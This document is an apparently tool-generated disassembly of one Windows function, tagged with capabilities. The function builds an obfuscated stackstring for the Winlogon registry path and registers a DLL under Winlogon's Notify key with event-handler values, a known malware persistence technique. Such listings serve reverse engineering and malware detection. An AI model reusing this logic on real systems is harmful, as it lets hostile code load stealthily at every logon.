Function at 0x404bf7
Capabilities:
Contain obfuscated stackstrings
Delete registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x260
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
and byte [ebp - 0xdb], 0
push esi
lea eax, [ebp - 4]
push edi
mov esi, 0x20006
push eax
xor edi, edi
push esi
lea eax, [ebp - 0x110]
push edi
push eax
push 0x80000002
mov byte [ebp - 0x110], 0x73
mov byte [ebp - 0x10f], 0x6f
mov byte [ebp - 0x10e], 0x66
mov byte [ebp - 0x10d], 0x74
mov byte [ebp - 0x10c], 0x77
mov byte [ebp - 0x10b], 0x61
mov byte [ebp - 0x10a], 0x72
mov byte [ebp - 0x109], 0x65
mov byte [ebp - 0x108], 0x5c
mov byte [ebp - 0x107], 0x6d
mov byte [ebp - 0x106], 0x69
mov byte [ebp - 0x105], 0x63
mov byte [ebp - 0x104], 0x72
mov byte [ebp - 0x103], 0x6f
mov byte [ebp - 0x102], 0x73
mov byte [ebp - 0x101], 0x6f
mov byte [ebp - 0x100], 0x66
mov byte [ebp - 0xff], 0x74
mov byte [ebp - 0xfe], 0x5c
mov byte [ebp - 0xfd], 0x77
mov byte [ebp - 0xfc], 0x69
mov byte [ebp - 0xfb], 0x6e
mov byte [ebp - 0xfa], 0x64
mov byte [ebp - 0xf9], 0x6f
mov byte [ebp - 0xf8], 0x77
mov byte [ebp - 0xf7], 0x73
mov byte [ebp - 0xf6], 0x20
mov byte [ebp - 0xf5], 0x6e
mov byte [ebp - 0xf4], 0x74
mov byte [ebp - 0xf3], 0x5c
mov byte [ebp - 0xf2], 0x63
mov byte [ebp - 0xf1], 0x75
mov byte [ebp - 0xf0], 0x72
mov byte [ebp - 0xef], 0x72
mov byte [ebp - 0xee], 0x65
mov byte [ebp - 0xed], 0x6e
mov byte [ebp - 0xec], 0x74
mov byte [ebp - 0xeb], 0x76
mov byte [ebp - 0xea], 0x65
mov byte [ebp - 0xe9], 0x72
mov byte [ebp - 0xe8], 0x73
mov byte [ebp - 0xe7], 0x69
mov byte [ebp - 0xe6], 0x6f
mov byte [ebp - 0xe5], 0x6e
mov byte [ebp - 0xe4], 0x5c
mov byte [ebp - 0xe3], 0x77
mov byte [ebp - 0xe2], 0x69
mov byte [ebp - 0xe1], 0x6e
mov byte [ebp - 0xe0], 0x6c
mov byte [ebp - 0xdf], 0x6f
mov byte [ebp - 0xde], 0x67
mov byte [ebp - 0xdd], 0x6f
mov byte [ebp - 0xdc], 0x6e
call ebx
test eax, eax
jne 0x404e1c
cmp dword [ebp + 0x10], edi
lea eax, [ebp - 8]
jne 0x404dda
push eax
push esi
push edi
push str.Notify
push dword [ebp - 4]
call ebx
push dword [ebp + 0xc]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
cmp esi, edi
sete al
jmp 0x40505c
push edi
push eax
push edi
push esi
push edi
push edi
push edi
push str.Notify
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push dword [ebp - 4]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp + 0x10], eax
call ebx
cmp dword [ebp + 0x10], edi
jne 0x404e1c
lea eax, [ebp - 4]
push edi
push eax
push edi
push esi
push edi
push edi
push edi
push dword [ebp + 0xc]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
je 0x404e23
xor eax, eax
jmp 0x40505c
push dword [ebp - 8]
call ebx
push dword [ebp + 8]
call sub.MSVCRT.dll_strlen
pop ecx
inc eax
push eax
mov ebx, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp + 8]
push 1
push edi
push str.DllName
push dword [ebp - 4]
call ebx
push 4
lea eax, [ebp - 0xc]
pop esi
mov dword [ebp - 0xc], edi
push esi
push eax
push esi
push edi
push str.Asynchronous
push dword [ebp - 4]
call ebx
lea eax, [ebp - 0xc]
push esi
push eax
push esi
push edi
push str.Impersonate
push dword [ebp - 4]
call ebx
mov esi, str.Lock
lea edi, [ebp - 0x1a0]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
xor eax, eax
lea edi, [ebp - 0x19b]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosb byte es:[edi], al
mov esi, str.Logoff
lea edi, [ebp - 0x18e]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
xor eax, eax
lea edi, [ebp - 0x187]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov esi, str.Logon
lea edi, [ebp - 0x17c]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
xor eax, eax
lea edi, [ebp - 0x176]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov esi, str.Shutdown
lea edi, [ebp - 0x16a]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
xor eax, eax
lea edi, [ebp - 0x161]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosb byte es:[edi], al
mov esi, str.StartScreenSaver
lea edi, [ebp - 0x158]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
xor eax, eax
lea edi, [ebp - 0x147]
mov esi, str.StopScreenSaver
stosb byte es:[edi], al
mov eax, dword [str.Startup]
lea edi, [ebp - 0x13e]
mov dword [ebp - 0x146], eax
mov eax, dword [0x40c19c]
mov dword [ebp - 0x142], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea edi, [ebp - 0x134]
xor eax, eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea edi, [ebp - 0x124]
mov esi, str.Unlock
stosw word es:[edi], ax
lea edi, [ebp - 0x122]
push 5
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x11b]
mov esi, str.WLEvtLock
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea edi, [ebp - 0x260]
xor eax, eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [ebp - 0x256]
mov esi, str.WLEvtLogoff
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea edi, [ebp - 0x248]
xor eax, eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea edi, [ebp - 0x23c]
mov esi, str.WLEvtLogon
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea edi, [ebp - 0x230]
xor eax, eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x225]
mov esi, str.WLEvtShutdown
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosb byte es:[edi], al
lea edi, [ebp - 0x218]
xor eax, eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [ebp - 0x20a]
pop ecx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
mov esi, str.WLEvtStartScreenSaver
lea edi, [ebp - 0x200]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
xor eax, eax
lea edi, [ebp - 0x1ea]
mov esi, str.WLEvtStartup
stosw word es:[edi], ax
lea edi, [ebp - 0x1e8]
push 5
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x1db]
pop ecx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov esi, str.WLEvtStopScreenSaver
lea edi, [ebp - 0x1d0]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
xor eax, eax
lea edi, [ebp - 0x1bb]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov esi, str.WLEvtUnlock
lea edi, [ebp - 0x1b8]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
xor eax, eax
lea edi, [ebp - 0x1ac]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea edi, [ebp - 0x1a0]
lea esi, [ebp - 0x260]
mov dword [ebp + 0xc], 8
push esi
call sub.MSVCRT.dll_strlen
pop ecx
inc eax
push eax
push esi
push 1
push 0
push edi
push dword [ebp - 4]
call ebx
add esi, 0x18
add edi, 0x12
dec dword [ebp + 0xc]
jne 0x405031
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 0xc